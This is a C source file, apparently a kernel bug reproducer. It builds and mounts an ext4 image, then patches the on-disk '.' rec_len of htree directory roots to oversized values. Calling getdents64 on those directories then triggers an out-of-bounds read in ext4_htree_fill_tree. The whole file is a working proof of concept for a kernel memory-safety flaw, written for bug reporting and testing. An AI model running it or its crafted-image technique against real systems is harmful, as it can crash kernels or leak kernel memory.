// Reproducer for the ext4_htree_fill_tree '..' dot-dotdot sibling of bc4b7b0414c3. // // The dx root block's '.' entry has rec_len 12 and '..' follows at b_data + rec_len('.'). // ext4_htree_fill_tree reads '..' with no ext4_check_dir_entry and no bounds check. This program // makes the on-disk '.' rec_len of several htree directories large (0xFFFC, so '..' starts at // block offset 65532, far past a 1 KiB or 4 KiB block) and then calls getdents64 on each one. // The first getdents reads inode/name_len/name at that offset, outside the buffer_head data. // // Steps (syscalls and loop ioctls only): // 1. copy the image (argv[1], default /files/e4.img; make it with // "truncate -s 32M e4.img && mkfs.ext4 -q -F e4.img") to /tmp, clear the metadata_csum ro_compat bit so the // dx root checksum is not verified, and attach it to a loop device; // 2. mount ext4, create NDIRS htree directories with NFILES entries each; // 3. umount, find each directory's dx root by its '.' entry (inode, rec_len 12, name "."), // and patch rec_len; // 4. remount and getdents64 each directory. #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define LOOP_SET_FD 0x4C00 #define LOOP_CLR_FD 0x4C01 #define IMG "/tmp/e4.img" #define MNT "/tmp/mnt" #define NDIRS 6 #define NFILES 150 #define SB_FEATURE_RO_COMPAT (1024 + 0x64) #define RO_COMPAT_METADATA_CSUM 0x0400 static const char *image; static const uint16_t offs[NDIRS] = {65532, 61440, 49152, 40960, 32768, 20480}; static char loopdev[64] = "/dev/loop0"; static void die(const char *m) { printf("repro: %s: %s\n", m, strerror(errno)); fflush(stdout); exit(1); } static void setup_loopdev(void) { struct stat st; if (stat("/dev/loop0", &st) == 0) return; if (mknod("/tmp/loop0", S_IFBLK | 0600, makedev(7, 0)) != 0) die("mknod loop0"); strcpy(loopdev, "/tmp/loop0"); } static int attach(int imgfd) { int lfd = open(loopdev, O_RDWR); if (lfd < 0) die("open loop"); if (ioctl(lfd, LOOP_SET_FD, imgfd) != 0) die("LOOP_SET_FD"); return lfd; } static void detach(int lfd) { ioctl(lfd, LOOP_CLR_FD, 0); close(lfd); } static void copy_image(void) { int src = open(image, O_RDONLY), dst; char buf[65536]; ssize_t n; if (src < 0) die("open image"); dst = open(IMG, O_RDWR | O_CREAT | O_TRUNC, 0600); if (dst < 0) die("create " IMG); while ((n = read(src, buf, sizeof(buf))) > 0) if (write(dst, buf, n) != n) die("write image copy"); close(src); close(dst); } static void clear_metadata_csum(void) { int fd = open(IMG, O_RDWR); uint32_t f; if (fd < 0) die("open image rw"); if (pread(fd, &f, 4, SB_FEATURE_RO_COMPAT) != 4) die("read ro_compat"); printf("repro: ro_compat before %#x\n", f); f &= ~RO_COMPAT_METADATA_CSUM; if (pwrite(fd, &f, 4, SB_FEATURE_RO_COMPAT) != 4) die("write ro_compat"); close(fd); } static void mount_fs(int lfd) { (void)lfd; if (mount(loopdev, MNT, "ext4", 0, NULL) != 0) die("mount ext4"); } static void create_dirs(uint32_t ino[NDIRS]) { char p[256], name[256]; struct stat st; int d, f, fd; for (d = 0; d < NDIRS; d++) { snprintf(p, sizeof(p), MNT "/d%d", d); if (mkdir(p, 0755) != 0) die("mkdir"); for (f = 0; f < NFILES; f++) { snprintf(name, sizeof(name), MNT "/d%d/htree_entry_name_padding_%04d", d, f); fd = open(name, O_CREAT | O_WRONLY, 0644); if (fd < 0) die("create entry"); close(fd); } if (stat(p, &st) != 0) die("stat dir"); ino[d] = (uint32_t)st.st_ino; printf("repro: dir d%d ino %u\n", d, ino[d]); } sync(); } static int patch_dx_roots(uint32_t ino[NDIRS]) { int fd = open(IMG, O_RDWR); off_t sz; uint8_t *buf; int d, patched = 0; off_t i; if (fd < 0) die("open image for patch"); sz = lseek(fd, 0, SEEK_END); buf = malloc(sz); if (!buf || pread(fd, buf, sz, 0) != sz) die("read image"); for (d = 0; d < NDIRS; d++) { int hits = 0; off_t hits_at[8]; for (i = 0; i + 12 + 10 <= sz; i++) { uint8_t pat[9]; pat[0] = ino[d] & 0xff; pat[1] = (ino[d] >> 8) & 0xff; pat[2] = (ino[d] >> 16) & 0xff; pat[3] = (ino[d] >> 24) & 0xff; pat[4] = 0x0c; pat[5] = 0x00; /* rec_len 12 */ pat[6] = 0x01; pat[7] = 0x02; /* name_len 1, EXT4_FT_DIR */ pat[8] = '.'; if (memcmp(buf + i, pat, 9) != 0) continue; /* '..' must follow at +12 with name_len 2 */ if (buf[i + 12 + 6] != 2 || buf[i + 12 + 8] != '.' || buf[i + 12 + 9] != '.') continue; if (hits < 8) hits_at[hits] = i; hits++; } /* The journal keeps old copies of the dx root block too; patch every copy. */ if (hits == 0) { printf("repro: d%d no dx root found\n", d); continue; } { uint16_t v = offs[d]; int k; for (k = 0; k < hits && k < 8; k++) { if (pwrite(fd, &v, 2, hits_at[k] + 4) != 2) die("patch rec_len"); printf("repro: d%d dx root copy %d at image byte %lld, '.' rec_len -> %u\n", d, k, (long long)hits_at[k], offs[d]); } patched++; } } free(buf); fsync(fd); close(fd); return patched; } static void getdents_all(void) { char name[256], buf[32768]; int d; for (d = 0; d < NDIRS; d++) { int fd; long n; snprintf(name, sizeof(name), MNT "/d%d", d); fd = open(name, O_RDONLY | O_DIRECTORY); if (fd < 0) die("open dir"); printf("repro: getdents d%d\n", d); fflush(stdout); n = syscall(SYS_getdents64, fd, buf, sizeof(buf)); printf("repro: getdents d%d returned %ld\n", d, n); fflush(stdout); close(fd); } } int main(int argc, char **argv) { image = argc > 1 ? argv[1] : "/files/e4.img"; uint32_t ino[NDIRS]; int imgfd, lfd, patched; mkdir("/tmp", 0777); setup_loopdev(); copy_image(); clear_metadata_csum(); imgfd = open(IMG, O_RDWR); if (imgfd < 0) die("open image"); lfd = attach(imgfd); if (mkdir(MNT, 0755) != 0 && errno != EEXIST) die("mkdir mnt"); mount_fs(lfd); create_dirs(ino); if (umount2(MNT, 0) != 0) die("umount"); detach(lfd); close(imgfd); patched = patch_dx_roots(ino); printf("repro: patched %d dx roots\n", patched); fflush(stdout); imgfd = open(IMG, O_RDWR); if (imgfd < 0) die("reopen image"); lfd = attach(imgfd); mount_fs(lfd); getdents_all(); umount2(MNT, 0); detach(lfd); close(imgfd); printf("repro: done\n"); return 0; }